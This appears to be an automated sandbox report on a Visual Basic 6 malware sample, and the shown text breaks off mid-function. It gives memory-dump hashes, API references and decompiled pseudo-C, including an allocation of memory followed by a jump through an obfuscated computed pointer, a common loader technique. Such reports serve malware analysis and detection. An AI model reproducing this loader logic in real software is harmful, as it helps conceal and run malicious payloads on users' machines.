      0x00402c3c
      0x00000000

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: de17616a550e56c87037b03b051417f3caa9844b321009e7030775f4eb8176c4
      • Instruction ID: c5575ae600637c6ca1753d6985b3d3e0441ecfe4903428aaf37b8c8469a69c5c
      • Opcode Fuzzy Hash: de17616a550e56c87037b03b051417f3caa9844b321009e7030775f4eb8176c4
      • Instruction Fuzzy Hash: E382FD3F605700364739C4F97C93CFEBF825A9A1F0225912BF119B2E75AD65E8C601EA
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 74e7896f0e82a3da84cf32457c5207d2c780c3154994756f753e4c5d5d88b3f1
      • Instruction ID: 2dbec8d23796a10ba43af9985392df011b8a3c0fd28528913bf30e13ddcfcf49
      • Opcode Fuzzy Hash: 74e7896f0e82a3da84cf32457c5207d2c780c3154994756f753e4c5d5d88b3f1
      • Instruction Fuzzy Hash: 46D16922B197000B875D987E59D0967D1C39FEF210229E63E652EF73A9EDB9CC0B114C
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 777bded2b3363da45fc5d852930d718a1ebb9fa9df2a61abd074c67cbfaedd1d
      • Instruction ID: 4f08fd3149212a6cb75878ea625d8a9e608ae65f6f7868f5eb57a7b11d1f7fa4
      • Opcode Fuzzy Hash: 777bded2b3363da45fc5d852930d718a1ebb9fa9df2a61abd074c67cbfaedd1d
      • Instruction Fuzzy Hash: 07B14922B197000B8759987E59D0967D0C39FEE261229E63E652EF73A9FDB9CC4B014C
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 3c743d1ce0223dc7fc06a17718db6aa72afe22a5aacc1edb0b8fdbef43e14e21
      • Instruction ID: 081bcfa1cb5bfe454ff825290c3d33317871eca805a62f04647eda61c70a7398
      • Opcode Fuzzy Hash: 3c743d1ce0223dc7fc06a17718db6aa72afe22a5aacc1edb0b8fdbef43e14e21
      • Instruction Fuzzy Hash: 15C14822B197000B875D98BE59D0967D0C39FEF251229E63E652EF73A9EDB9CC0B114C
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 186f6c761be632728e0ef43ecd24005c1a0ba3c9e90f93e7a9ce9d897c53bd2a
      • Instruction ID: bbac290d51d52c2db93b8f3b84f00f3d63e5a0cb5c7edd8a81b20a2e68d58149
      • Opcode Fuzzy Hash: 186f6c761be632728e0ef43ecd24005c1a0ba3c9e90f93e7a9ce9d897c53bd2a
      • Instruction Fuzzy Hash: 51B15922B197000B875998BE58D0967D0C39FEF261229E63A652DF73A9FDB9CC0B014C
      Uniqueness

      Uniqueness Score: -1.00%

      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: 8f15672356824ff21459b7dc7fb05b48e36e44898d9f246ce96b43f16898ce7a
      • Instruction ID: f42d229883c5e0f1c84f928e02324f6830b10ee152d203cd126084a2d28d6bf0
      • Opcode Fuzzy Hash: 8f15672356824ff21459b7dc7fb05b48e36e44898d9f246ce96b43f16898ce7a
      • Instruction Fuzzy Hash: 95A14822B197000B875D98BE58D0967C0C39FEF261269E63E652EF73A5FDB9CC4B1148
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
      • VirtualAlloc.KERNELBASE(00000000,00010000,-14A957FA,-24A833CA), ref: 00402E35
      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: AllocVirtual
      • String ID:
      • API String ID: 4275171209-0
      • Opcode ID: eff182816c5c13db067608052707dfcff7f2dad5f73916d1e97f97078afd40f1
      • Instruction ID: de5fd04e36ea523cf296a8446793d65f33793a970af03fbafc2a245454987610
      • Opcode Fuzzy Hash: eff182816c5c13db067608052707dfcff7f2dad5f73916d1e97f97078afd40f1
      • Instruction Fuzzy Hash: 94914722B197000B875998BE58D0967C0C39FEF220229E63E652EF73A5FDB9CC4B114C
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
      • VirtualAlloc.KERNELBASE(00000000,00010000,-14A957FA,-24A833CA), ref: 00402E35
      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: AllocVirtual
      • String ID:
      • API String ID: 4275171209-0
      • Opcode ID: 993d8d7f37ca18099aad1731de706c6df5cb4b449cc5ffcdac359db40f15619f
      • Instruction ID: 16168733ea2251a8736327388454970398be3447318e1b320693391b3134401d
      • Opcode Fuzzy Hash: 993d8d7f37ca18099aad1731de706c6df5cb4b449cc5ffcdac359db40f15619f
      • Instruction Fuzzy Hash: D4713762B197000B8759947E58D0967C0C79FEF220239E63E652EF73A9FDB9CC4B1248
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
      • VirtualAlloc.KERNELBASE(00000000,00010000,-14A957FA,-24A833CA), ref: 00402E35
      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: AllocVirtual
      • String ID:
      • API String ID: 4275171209-0
      • Opcode ID: 408e103b03fa62213f89dbf111aec7c9173d8a8c57a36c45451e7928f7fc9a80
      • Instruction ID: 4514efc4088e14718f8c3f0dffb21e119275c60f236e3934b54c02ed8b630e8b
      • Opcode Fuzzy Hash: 408e103b03fa62213f89dbf111aec7c9173d8a8c57a36c45451e7928f7fc9a80
      • Instruction Fuzzy Hash: 07814762B197000B8759947E48D0967D0C39FEF220229E63E652EF73A9FDB9CC4B124C
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
      • VirtualAlloc.KERNELBASE(00000000,00010000,-14A957FA,-24A833CA), ref: 00402E35
      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: AllocVirtual
      • String ID:
      • API String ID: 4275171209-0
      • Opcode ID: f619ee56eaf4a3400189f7d8b552e7fd106aa05828b68d4866bb3b11d8155f4f
      • Instruction ID: 7c03ff3da66973641f7d374a5e726725a3de044156692fc964f61cfe37f7bb53
      • Opcode Fuzzy Hash: f619ee56eaf4a3400189f7d8b552e7fd106aa05828b68d4866bb3b11d8155f4f
      • Instruction Fuzzy Hash: 60515866B197000B8B59947E58D0966D0C39FEF220329E63E652DF73A5FDB9CC4B1248
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
      • VirtualAlloc.KERNELBASE(00000000,00010000,-14A957FA,-24A833CA), ref: 00402E35
      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: AllocVirtual
      • String ID:
      • API String ID: 4275171209-0
      • Opcode ID: 9e4eb2f72fc8b9ad78a77442091f3a36ba1c8a85a335d6152c72c5d222113b00
      • Instruction ID: 858a72f74f03a42caf76584f03631b8b832c0124a529ac6999f498e381e5c701
      • Opcode Fuzzy Hash: 9e4eb2f72fc8b9ad78a77442091f3a36ba1c8a85a335d6152c72c5d222113b00
      • Instruction Fuzzy Hash: 9D615762B196000B8759947E58D0967C0C79FEF22073AE63E652DF73A9FDB9CC4B1248
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
      • VirtualAlloc.KERNELBASE(00000000,00010000,-14A957FA,-24A833CA), ref: 00402E35
      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: AllocVirtual
      • String ID:
      • API String ID: 4275171209-0
      • Opcode ID: 7bdfe613b750c639e1c4eba91010fe8377eab7a59695395405501a075165ea2c
      • Instruction ID: 4630105c757cc8ff34d28704eba0ab49aa034fa8c4f0ce0d629645e116d8ad86
      • Opcode Fuzzy Hash: 7bdfe613b750c639e1c4eba91010fe8377eab7a59695395405501a075165ea2c
      • Instruction Fuzzy Hash: E8516A66B197000B8759947E5890966D0C79FEF220339F63E652DF73A5FDBACC4B0248
      Uniqueness

      Uniqueness Score: -1.00%

      APIs
      • VirtualAlloc.KERNELBASE(00000000,00010000,-14A957FA,-24A833CA), ref: 00402E35
      Memory Dump Source
      • Source File: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: AllocVirtual
      • String ID:
      • API String ID: 4275171209-0
      • Opcode ID: 73547b9916e4978ba6c9cb72bedb86dfb11d167ce598a8be8ed04da89f3f563c
      • Instruction ID: e7bda6b31376281ff51df3ea68faa6868dbbb467a62a993fbdf7691a63cab378
      • Opcode Fuzzy Hash: 73547b9916e4978ba6c9cb72bedb86dfb11d167ce598a8be8ed04da89f3f563c
      • Instruction Fuzzy Hash: B0415E65B196004B875DA87E9890967D1C39FEF220329E63D642DF73A4FE7ACC4B024C
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 60%
      			E004147BD(void* __ebx, void* __edi, void* __esi, signed int _a4, intOrPtr* _a854) {
      				signed int _v8;
      				intOrPtr _v12;
      				long long* _v16;
      				char _v52;
      				char _v68;
      				char _v72;
      				intOrPtr _v80;
      				char _v88;
      				intOrPtr _v96;
      				char _v104;
      				intOrPtr _v112;
      				char _v120;
      				intOrPtr _v128;
      				char _v136;
      				char _v204;
      				char _v208;
      				char _v212;
      				char _v216;
      				char _v220;
      				signed int _v224;
      				char _v228;
      				signed int _v232;
      				char _v236;
      				signed long long _v264;
      				void* _t94;
      				signed int _t98;
      				signed int _t100;
      				signed int _t104;
      				signed int _t110;
      				char _t111;
      				void* _t118;
      				char* _t129;
      				char* _t133;
      				void* _t144;
      				signed int _t146;
      				signed int _t147;
      				void* _t148;
      				void* _t150;
      				intOrPtr _t151;
      				long long* _t152;
      
      				_t151 = _t150 - 0xc;
      				 *[fs:0x0] = _t151;
      				_t152 = _t151 - 0xf0;
      				_v16 = _t152;
      				_v12 = 0x401270;
      				_t146 = _a4;
      				_v8 = _t146 & 0x00000001;
      				_t147 = _t146 & 0xfffffffe;
      				_a4 = _t147;
      				_t94 =  *((intOrPtr*)( *_t147 + 4))(_t147, __edi, __esi, __ebx,  *[fs:0x0], 0x401306, _t148);
      				_push(0x410a84);
      				_v52 = 0;
      				_v68 = 0;
      				_v72 = 0;
      				_v88 = 0;
      				_v104 = 0;
      				_v120 = 0;
      				_v136 = 0;
      				_v204 = 0;
      				_v208 = 0;
      				_v212 = 0;
      				_v216 = 0;
      				_v220 = 0;
      				_v228 = 0;
      				_v224 = 0;
      				_v236 = 0;
      				_v232 = 0;
      				L004014D4();
      				if(_t94 != 2) {
      					__eax =  &_v88;
      					_push( &_v88);
      					L00401438();
      					__eax =  &_v88;
      					_push(1);
      					_push( &_v88);
      					__eax =  &_v104;
      					_push( &_v104);
      					L0040143E();
      					__ecx =  &_v52;
      					L00401444();
      					__ecx =  &_v88;
      					L004014CE();
      					__eflags =  *0x4172d4 - __ebx; // 0x21de8bc
      					if(__eflags == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					__edi =  *0x4172d4; // 0x21de8bc
      					__ecx =  &_v72;
      					__eax =  *__edi;
      					__eax =  *((intOrPtr*)( *__edi + 0x14))(__edi,  &_v72);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(__edi);
      						_push(__eax);
      						L004014C2();
      					}
      					__eax = _v72;
      					__ecx =  *__eax;
      					__edi = __eax;
      					__eax =  *((intOrPtr*)( *__eax + 0xc8))(__eax,  &_v204);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0xc8);
      						_push(0x41084c);
      						_push(__edi);
      						_push(__eax);
      						L004014C2();
      					}
      					__ecx =  &_v72;
      					L004014BC();
      					__fp0 =  *0x401268;
      					_push(__ecx);
      					__edi =  *__esi;
      					 *__esp =  *0x401268;
      					__fp0 =  *0x401260;
      					__eflags =  *0x417000;
      					if( *0x417000 != 0) {
      						_push( *0x4011bc);
      						_push( *0x4011b8);
      						L00401324();
      					} else {
      						__fp0 = __fp0 /  *0x4011b8;
      					}
      					_push(__ecx);
      					asm("fnstsw ax");
      					__eflags = __al & 0x0000000d;
      					if((__al & 0x0000000d) != 0) {
      						return __imp____vbaFPException();
      					}
      					_v264 = __fp0;
      					__fp0 = _v264;
      					 *__esp = _v264;
      					__fp0 =  *0x401258;
      					 *__esp =  *0x401258;
      					__fp0 =  *0x401250;
      					L004014B0();
      					__fp0 =  *0x401248;
      					 *__esp =  *0x401248;
      					__fp0 =  *0x401244;
      					 *__esp =  *0x401244;
      					__fp0 =  *0x401240;
      					 *__esp =  *0x401240;
      					__eax =  *((intOrPtr*)(__edi + 0x2c0))(__esi, 0x1c2, __ecx, __ecx, __ecx, __eax, __ecx);
      					__eflags = __eax - __ebx;
      					asm("fclex");
      					if(__eax < __ebx) {
      						_push(0x2c0);
      						_push(0x4103e8);
      						_push(__esi);
      						_push(__eax);
      						L004014C2();
      					}
      				}
      				_v228 = 0x1f740880;
      				_v224 = 0x5af7;
      				L00401492();
      				 *((intOrPtr*)( *_t147 + 0x724))(_t147,  &_v68, L"Familienavnet5", 0xa66,  &_v228);
      				L0040149E();
      				L00401492();
      				_t98 =  *((intOrPtr*)( *_t147 + 0x704))(_t147, 0x75d626a0, 0x5afb,  &_v68);
      				__eflags = _t98;
      				if(_t98 >= 0) {
      					_t144 = 0x410418;
      				} else {
      					_t144 = 0x410418;
      					_push(0x704);
      					_push(0x410418);
      					_push(_t147);
      					_push(_t98);
      					L004014C2();
      				}
      				L0040149E();
      				_t129 =  &_v208;
      				_v204 = 0x6a4f;
      				 *_t152 =  *0x401238;
      				_t100 =  *((intOrPtr*)( *_t147 + 0x708))(_t147,  &_v204, 0x3d26, _t129, _t129, _t129);
      				__eflags = _t100;
      				if(_t100 < 0) {
      					_push(0x708);
      					_push(_t144);
      					_push(_t147);
      					_push(_t100);
      					L004014C2();
      				}
      				_v228 =  *0x401230;
      				 *((intOrPtr*)( *_t147 + 0x728))(_t147,  &_v228, 0x5c2eee,  &_v236);
      				_t104 =  *((intOrPtr*)( *_t147 + 0x70c))(_t147);
      				__eflags = _t104;
      				if(_t104 < 0) {
      					_push(0x70c);
      					_push(_t144);
      					_push(_t147);
      					_push(_t104);
      					L004014C2();
      				}
      				_t133 =  &_v208;
      				_v204 = 0x1671;
      				 *_t152 =  *0x401228;
      				 *((intOrPtr*)( *_t147 + 0x72c))(_t147,  &_v204, _t133, _t133, 0x758e, _t133);
      				_v228 =  *0x401220;
      				_v216 = 0x308f88;
      				_v212 = 0x1ba43f;
      				 *((intOrPtr*)( *_t147 + 0x730))(_t147, 0xaf96bbf0, 0x5b07,  &_v212,  &_v228, 0x858912,  &_v216,  &_v220);
      				_t110 =  *((intOrPtr*)( *_t147 + 0x2b4))(_t147);
      				__eflags = _t110;
      				asm("fclex");
      				if(_t110 < 0) {
      					_push(0x2b4);
      					_push(0x4103e8);
      					_push(_t147);
      					_push(_t110);
      					L004014C2();
      				}
      				_t111 = 0xa;
      				_v128 = 0x80020004;
      				_v136 = _t111;
      				_v120 = _t111;
      				_v104 = _t111;
      				_v112 = 0x80020004;
      				_v96 = 0x80020004;
      				_v80 = 0xcc399;
      				_a854 = 0x3474d5;
      				_a854 = _a854 - 0xfff44d43;
      				_t118 =  *_a854(_t144, _t147, 0xc,  &_v88, 0,  &_v104,  &_v120,  &_v136) + 0xe8;
      				asm("fxch7 st0");
      				asm("invalid");
      				_v8 = 0;
      				asm("wait");
      				_push(0x414bfe);
      				L004014CE();
      				return _t118;
      			}











































      0x004147c0
      0x004147cf
      0x004147d6
      0x004147df
      0x004147e2
      0x004147e9
      0x004147f1
      0x004147f4
      0x004147f8
      0x004147fd
      0x00414802
      0x00414807
      0x0041480a
      0x0041480d
      0x00414810
      0x00414813
      0x00414816
      0x00414819
      0x0041481f
      0x00414825
      0x0041482b
      0x00414831
      0x00414837
      0x0041483d
      0x00414843
      0x00414849
      0x0041484f
      0x00414855
      0x0041485d
      0x00414863
      0x00414866
      0x00414867
      0x0041486c
      0x0041486f
      0x00414871
      0x00414872
      0x00414875
      0x00414876
      0x0041487e
      0x00414881
      0x00414886
      0x00414889
      0x0041488e
      0x00414894
      0x00414896
      0x0041489b
      0x004148a0
      0x004148a0
      0x004148a5
      0x004148ab
      0x004148b0
      0x004148b2
      0x004148b5
      0x004148b7
      0x004148b9
      0x004148bb
      0x004148bd
      0x004148c2
      0x004148c3
      0x004148c4
      0x004148c4
      0x004148c9
      0x004148d4
      0x004148d6
      0x004148d8
      0x004148de
      0x004148e0
      0x004148e2
      0x004148e4
      0x004148e9
      0x004148ee
      0x004148ef
      0x004148f0
      0x004148f0
      0x004148f5
      0x004148f8
      0x004148fd
      0x00414903
      0x00414904
      0x00414906
      0x00414909
      0x0041490f
      0x00414916
      0x00414920
      0x00414926
      0x0041492c
      0x00414918
      0x00414918
      0x00414918
      0x00414931
      0x00414932
      0x00414934
      0x00414936
      0x0040130c
      0x0040130c
      0x0041493c
      0x00414942
      0x00414948
      0x0041494b
      0x00414952
      0x00414955
      0x0041495b
      0x00414960
      0x00414968
      0x0041496b
      0x00414972
      0x00414975
      0x0041497c
      0x00414985
      0x0041498b
      0x0041498d
      0x0041498f
      0x00414991
      0x00414996
      0x0041499b
      0x0041499c
      0x0041499d
      0x0041499d
      0x0041498f
      0x004149aa
      0x004149b4
      0x004149be
      0x004149db
      0x004149e4
      0x004149f1
      0x00414a07
      0x00414a0d
      0x00414a0f
      0x00414a25
      0x00414a11
      0x00414a11
      0x00414a16
      0x00414a1b
      0x00414a1c
      0x00414a1d
      0x00414a1e
      0x00414a1e
      0x00414a2d
      0x00414a38
      0x00414a49
      0x00414a53
      0x00414a5d
      0x00414a63
      0x00414a65
      0x00414a67
      0x00414a6c
      0x00414a6d
      0x00414a6e
      0x00414a6f
      0x00414a6f
      0x00414a82
      0x00414a96
      0x00414a9f
      0x00414aa5
      0x00414aa7
      0x00414aa9
      0x00414aae
      0x00414aaf
      0x00414ab0
      0x00414ab1
      0x00414ab1
      0x00414abc
      0x00414ad2
      0x00414adc
      0x00414ae1
      0x00414b03
      0x00414b15
      0x00414b2b
      0x00414b35
      0x00414b3e
      0x00414b44
      0x00414b46
      0x00414b48
      0x00414b4a
      0x00414b4f
      0x00414b54
      0x00414b55
      0x00414b56
      0x00414b56
      0x00414b62
      0x00414b63
      0x00414b66
      0x00414b6c
      0x00414b6f
      0x00414b86
      0x00414b89
      0x00414b8c
      0x00414b93
      0x00414b9d
      0x00414bb3
      0x00414bb5
      0x00414bb7
      0x00414bbc
      0x00414bbf
      0x00414bc0
      0x00414bf8
      0x00414bfd

      APIs
      • __vbaI4Str.MSVBVM60(00410A84), ref: 00414855
      • #610.MSVBVM60(?,00410A84), ref: 00414867
      • #552.MSVBVM60(?,?,00000001,?,00410A84), ref: 00414876
      • __vbaVarMove.MSVBVM60(?,?,00000001,?,00410A84), ref: 00414881
      • __vbaFreeVar.MSVBVM60(?,?,00000001,?,00410A84), ref: 00414889
      • __vbaNew2.MSVBVM60(0041082C,004172D4,?,?,00000001,?,00410A84), ref: 004148A0
      • __vbaHresultCheckObj.MSVBVM60(00000000,021DE8BC,0041081C,00000014), ref: 004148C4
      • __vbaHresultCheckObj.MSVBVM60(00000000,?,0041084C,000000C8), ref: 004148F0
      • __vbaFreeObj.MSVBVM60 ref: 004148F8
      • _adj_fdiv_m64.MSVBVM60 ref: 0041492C
      • __vbaFpI4.MSVBVM60 ref: 0041495B
      • __vbaHresultCheckObj.MSVBVM60(00000000,00401270,004103E8,000002C0,?,?,?,00000000), ref: 0041499D
      • __vbaStrCopy.MSVBVM60(00410A84), ref: 004149BE
      • __vbaFreeStr.MSVBVM60 ref: 004149E4
      • __vbaStrCopy.MSVBVM60 ref: 004149F1
      • __vbaHresultCheckObj.MSVBVM60(00000000,00401270,00410418,00000704), ref: 00414A1E
      • __vbaFreeStr.MSVBVM60 ref: 00414A2D
      • __vbaHresultCheckObj.MSVBVM60(00000000,00401270,00410418,00000708), ref: 00414A6F
      • __vbaHresultCheckObj.MSVBVM60(00000000,00401270,00410418,0000070C), ref: 00414AB1
      • __vbaHresultCheckObj.MSVBVM60(00000000,00401270,004103E8,000002B4), ref: 00414B56
      Strings
      Memory Dump Source
      • Source File: 00000001.00000002.772950247.0000000000410000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000001.00000002.772860688.0000000000400000.00000002.00020000.sdmp Download File
      • Associated: 00000001.00000002.772885609.0000000000401000.00000020.00020000.sdmp Download File
      • Associated: 00000001.00000002.772991742.0000000000417000.00000004.00020000.sdmp Download File
      • Associated: 00000001.00000002.773004608.0000000000418000.00000002.00020000.sdmp Download File
      Yara matches
      Similarity
      • API ID: __vba$CheckHresult$Free$Copy$#552#610MoveNew2_adj_fdiv_m64
      • String ID: Familienavnet5$Oj$Ramt7$luftkonditionerede
      • API String ID: 87195277-2150660583
      • Opcode ID: 58e0be17dd0031d4efa0a7f7528d98a18395783d5a2c6bd88530ac4800fb9564
      • Instruction ID: d8586f6d2825eb12069c6a49044c5fc684c3de630a27dcce52a94227549d5cfd
      • Opcode Fuzzy Hash: 58e0be17dd0031d4efa0a7f7528d98a18395783d5a2c6bd88530ac4800fb9564
      • Instruction Fuzzy Hash: 7CB12E70901218ABDB14DF91CD89EDEBBB8FF04704F1046AEF149B71A1DBB85A858F18
      Uniqueness

      Uniqueness Score: -1.00%

      C-Code - Quality: 51%
      			E00414C20(void* __ebx, void* __edi, void* __esi, void* _a12) {
      				char _v8;
      				char _v12;
      				intOrPtr _v16;
      				intOrPtr _v20;
      				char _v32;
      				void* _v44;
      				char _v60;
      				char _v76;
      				char _v92;
      				char* _v100;
      				char _v108;
      				intOrPtr _v116;
      				char _v124;
      				char _v128;
      				char* _t44;
      				char* _t46;
      				void* _t48;
      				intOrPtr* _t49;
      				void* _t50;
      				void* _t52;
      				intOrPtr* _t53;
      				intOrPtr* _t72;
      				intOrPtr* _t73;
      				intOrPtr* _t74;
      				intOrPtr* _t75;
      				void* _t78;
      				intOrPtr _t79;
      				intOrPtr _t83;
      				intOrPtr _t86;
      
      				_t79 = _t78 - 0x10;
      				_push(0x401306);
      				_push( *[fs:0x0]);
      				 *[fs:0x0] = _t79;
      				_v20 = _t79 - 0x80;
      				_v16 = 0x401280;
      				_v12 = 0;
      				_v8 = 0;
      				_v32 = 0;
      				_v44 = 0;
      				_v60 = 0;
      				_v76 = 0;
      				_v92 = 0;
      				_v108 = 0;
      				_v124 = 0;
      				_v128 = 0;
      				L00401492();
      				_v100 = L"01/01/01";
      				_v108 = 8;
      				L00401450();
      				_push( &_v60);
      				_push( &_v76); // executed
      				L004013F6(); // executed
      				_v116 = 0x7d1;
      				_v124 = 0x8002;
      				_push( &_v76);
      				_t44 =  &_v124;
      				_push(_t44);
      				L004014E0();
      				_push( &_v76);
      				_t46 =  &_v60;
      				_push(_t46);
      				_push(2);
      				L00401498();
      				if(_t44 != 0) {
      					_t83 =  *0x4172d4; // 0x21de8bc
      					if(_t83 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t72 =  *0x4172d4; // 0x21de8bc
      					_t48 =  *((intOrPtr*)( *_t72 + 0x14))(_t72,  &_v44);
      					asm("fclex");
      					if(_t48 < 0) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(_t72);
      						_push(_t48);
      						L004014C2();
      					}
      					_t49 = _v44;
      					_t73 = _t49;
      					_t50 =  *((intOrPtr*)( *_t49 + 0xb8))(_t49,  &_v128);
      					asm("fclex");
      					if(_t50 < 0) {
      						_push(0xb8);
      						_push(0x41084c);
      						_push(_t73);
      						_push(_t50);
      						L004014C2();
      					}
      					L004014BC();
      					_t86 =  *0x4172d4; // 0x21de8bc
      					if(_t86 == 0) {
      						_push(0x4172d4);
      						_push(0x41082c);
      						L004014C8();
      					}
      					_t74 =  *0x4172d4; // 0x21de8bc
      					_t52 =  *((intOrPtr*)( *_t74 + 0x14))(_t74,  &_v44);
      					asm("fclex");
      					if(_t52 < 0) {
      						_push(0x14);
      						_push(0x41081c);
      						_push(_t74);
      						_push(_t52);
      						L004014C2();
